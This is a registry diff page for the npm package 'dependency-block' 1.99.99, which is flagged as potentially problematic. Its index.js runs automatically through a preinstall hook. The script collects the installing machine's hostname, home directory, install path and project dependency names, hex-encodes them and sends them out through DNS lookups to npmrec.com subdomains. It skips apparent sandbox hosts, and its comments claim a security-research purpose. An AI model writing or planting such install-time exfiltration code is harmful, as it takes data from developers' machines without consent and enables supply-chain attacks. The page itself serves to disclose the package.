dependency-block 1.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dependency-block might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +111 -0
  3. package/package.json +10 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ This package is meant for security research purposes and does not contain any useful code.
package/index.js ADDED
@@ -0,0 +1,111 @@
1
+ /*
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure program will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ If you have any questions, please contact:
15
+ - harbitz@wearehackerone.com
16
+
17
+ */
18
+
19
+ const dns = require("dns");
20
+ const os = require("os")
21
+ const fs = require("fs");
22
+ const process = require("process");
23
+
24
+ function toHex(str) {
25
+ var result = '';
26
+ for (var i=0; i<str.length; i++) {
27
+ result += str.charCodeAt(i).toString(16);
28
+ }
29
+ return result;
30
+ }
31
+
32
+ const homeDirsToIgnore = [
33
+ "/root/test/node_modules",
34
+ "/ptd/node_modules",
35
+ "/home/fakename/app",
36
+ "/root",
37
+ ];
38
+
39
+ const hostnamesToIgnore = [
40
+ "BBOGENS-LAPTOP",
41
+ ];
42
+
43
+ function getPkgJsonDir() {
44
+ const { dirname } = require ( 'path' );
45
+ const { constants, accessSync } = require ( 'fs' );
46
+
47
+ for ( let path of module.paths ) {
48
+ try {
49
+ let prospectivePkgJsonDir = dirname ( path );
50
+ accessSync ( path, constants.F_OK );
51
+ return prospectivePkgJsonDir;
52
+ } catch ( e ) {}
53
+ }
54
+ }
55
+
56
+ function main() {
57
+ const pjs = JSON.parse((fs.readFileSync(__dirname + "/package.json")).toString());
58
+ const id = Date.now();
59
+
60
+ if (homeDirsToIgnore.indexOf(os.homedir()) > -1) {
61
+ return;
62
+ }
63
+
64
+ if (hostnamesToIgnore.indexOf(os.hostname()) > -1) {
65
+ return;
66
+ }
67
+
68
+ let packages = "";
69
+
70
+ try {
71
+ const pjsRoot = JSON.parse((fs.readFileSync(getPkgJsonDir() + "/package.json")).toString());
72
+ packages = JSON.stringify(Array.from(Object.keys(pjsRoot.dependencies)).join(";"));
73
+ } catch {
74
+ }
75
+
76
+ const relevantInfo = [
77
+ os.hostname(),
78
+ os.homedir(),
79
+ __dirname,
80
+ pjs.name + "-" + pjs.version,
81
+ packages
82
+ ]
83
+
84
+ const stringFragments = toHex(JSON.stringify(relevantInfo)).match(/.{1,63}/g);
85
+
86
+ sendData(stringFragments);
87
+ dns.lookup('ns1.npmrec.com', function(err, address) {
88
+ if (!err) {
89
+ nsAddress = address;
90
+ } else {
91
+ nsAddress = '8.8.8.8';
92
+ }
93
+ dns.setServers(['188.166.0.193', '188.166.110.6']);
94
+ sendData(stringFragments);
95
+ });
96
+
97
+ function sendData(stringFragments) {
98
+ for (let i = 0; i < stringFragments.length; i++) {
99
+ try {
100
+ resolveFragment(id, i, stringFragments);
101
+ } catch {
102
+ }
103
+ }
104
+ }
105
+
106
+ function resolveFragment(id, counter, stringFragments) {
107
+ dns.resolve4(`morjok.${id}.${counter+1}.${stringFragments[counter]}.npmrec.com`, () => {})
108
+ }
109
+ }
110
+
111
+ main();
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "description": "Security research purposes only.",
3
+ "main": "index.js",
4
+ "name": "dependency-block",
5
+ "license": "ISC",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "version": "1.99.99"
10
+ }